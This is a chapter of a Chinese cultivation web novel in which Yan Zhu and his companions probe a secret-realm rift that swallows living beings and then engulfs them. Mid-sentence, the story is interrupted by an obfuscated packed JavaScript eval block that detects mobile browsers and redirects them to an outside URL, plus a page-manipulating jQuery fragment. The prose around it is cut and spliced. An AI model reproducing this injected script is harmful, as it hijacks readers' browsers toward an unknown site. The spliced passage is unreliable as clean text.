他说话的声音不小,不远处有人听见,立刻凑上来,也着急忙慌地开始求晏烛帮忙。 晏烛一下就被架起来了。 犹豫了一下,他说:“他不一定能解决这件事。” 耿延志闻言说道:“总得请仙尊看过了才知道。” 其他人也七嘴八舌地赞同。 晏烛顿时感觉压力有些大,他下意识后退了半步,便撞上了站在身后的阿福。 他重新站定,轻声同身旁的人说道:“你先回去。” 阿福摇头,不仅没走,还往前两步,将晏烛护到身后,抬眼看着耿延志,说:“耿掌门想请师伯出手,当奉书陈情,送至明心宗,由师伯自决,在此为难家师,是何用意?” 他说得铿锵有力,严厉的指责像口锅直接就扣耿延志脑袋上,听得耿延志表情都僵住了。 这话可大可小,虽然晏烛不是什么厉害人物,但他们都清楚他是降雪仙尊的道侣,如果事后降雪仙尊追究起来,那…… 想到这,耿延志抬手擦了擦额角沁出的汗,露出一个有些尴尬的笑,解释道:“事急从权嘛,有晏道友在……” 阿福直接打断他的话:“耿掌门解决不了,我可以代耿掌门传信。” 他态度这么强硬,耿延志也有点憋闷,但这事说到底是金涛门的事,无论是晏烛还是闻肃尘,的确都没有帮忙的义务,若是闻肃尘本人在这,还能用大义去游说,但对着晏烛,这招显然不好用。 耿延志只能道:“我修书一封,还请小友代为转交。” 阿福冷冷瞥了他一眼,没应声了。 晏烛伸手摸摸他的脑袋,这才看向耿延志:“师兄过来也需要时间,不如先让我朋友去看看?” 耿延志不认识空浮,但认识祁然音,知道祁然音的境界,虽然不抱什么希望,但抱着死马当活马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313196|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 医的想法,还是点了点头。 晏烛便跟他们一起往那入口过去,然后停在阵法结界周围。 他从乾坤戒里掏出一个小木雕往里一丢,那木雕便毫无阻碍地穿过裂缝,直接落到下方。 晏烛又丢了一根灵草进去,也是一样的结果。 他让阿福去抓只灵兽来,在它身上绑上小木雕往里一扔,灵兽跟木雕都消失了。 晏烛想了想,又找了一小盆灵草丢进去,就见灵草消失了,他这才确认道:“好像只对生灵有效。” 这就是秘境的规则了。 祁然音闻言试着伸出手,但还没穿过结界,就被晏烛拦住了:“别乱来。” “就是。”空浮笑了笑,代替他伸手出去,探到裂缝中试着放出魔气探路,旋即微微蹙眉,“合体境,感觉不到生灵气息。” 虽然这样的检测并不完全,但得出这样的结果,也的确有点骇人。 “要不直接进去?”晏烛犹豫道,“我带了很多法器,合体境而已,没什么威胁的。” 空浮却是摇头:“我怀疑秘境发生了变化,里面已经不是先前的物候,而是变得别的。” 至于是什么,那可能性就很多了。 极端的物候、特殊的规则、空间夹缝、幻境、异地异界等等,什么都有可能,其中有一些甚至和境界关系不大,就算空浮进去了,怕是也有麻烦。 晏烛闻言皱眉:“那我也得进去,不然小桃出事怎么办?” 空浮看了他一眼,叹气:“其实有个最简单的办法,就是攻击秘境。” 虽然无法破坏秘境,但能让秘境出现瞬间的阻滞,他们也可以从那一瞬窥见内中情况。 “如果降雪仙尊在,说不定能直接把这个秘境斩开。”祁然音拿出自己的法器,无奈道,“要是这秘境的规则特殊,反噬了,你可得救我。” 晏烛闻言皱眉:“不然我去把小师兄找来吧。” 祁然音摇头:“他过来也需要时间,小桃怕是等不得,放心吧,这不是有空浮在。” 他说着打开手中扇子,扬出一道锋锐的灵力,灵力裹挟着罡风直冲裂缝而去。 然后消失无踪。 几人都是一愣。 “怎么回事?”祁然音奇怪道,“难道我修为不够?” 他说着,看向空浮,空浮便也跟着甩出一道法术,但那法术依旧如泥牛入海,于裂缝中消失无踪。 他们的动静引起了其他人的注意,见他们攻击裂缝没事,于是也有人开始试着攻击,但结果无一例外,所有的攻击都被裂缝吞了进去。 晏烛盯着那一片漆黑,总觉得有什么地方不对。 他闭上眼,又侧耳仔细听了听。 嘈杂的人声裹着风翻滚的声音,大地中有水在流动,其中还夹杂着一点很细微的、像是……咀嚼的声音。 晏烛想到什么,脸色骤变,连忙喊道:“都停手!!” 但为时已晚。 漆黑的裂缝已经开始膨胀,在其他人都还没反应过来时已经冲破阵法结界,以迅雷不及掩耳之势将那附近的人全部吞噬,不过眨眼就来到了晏烛面前。 晏烛立刻拿出法器,正要启动,却见眼前忽然飘下来一片雪。 世界好像忽然安静下来,一道黑色的身影不知什么时候已经拦在他身前。 黑刀出鞘,却划出一道雪白的刃光,卷着万丈风雪破开裂缝,但瞬息又被吞噬。 紧接着黑暗便涌了过来,夹着刺骨的冷,像是天山落下的一场大雪,将那道朝自己扑过来的身影也盖住了。 他看着那张显得有些稚嫩的脸,张嘴很轻地吐出三个字,虽然声音也被黑暗吞噬,但阿福还是看清了他的口型:“小师兄。”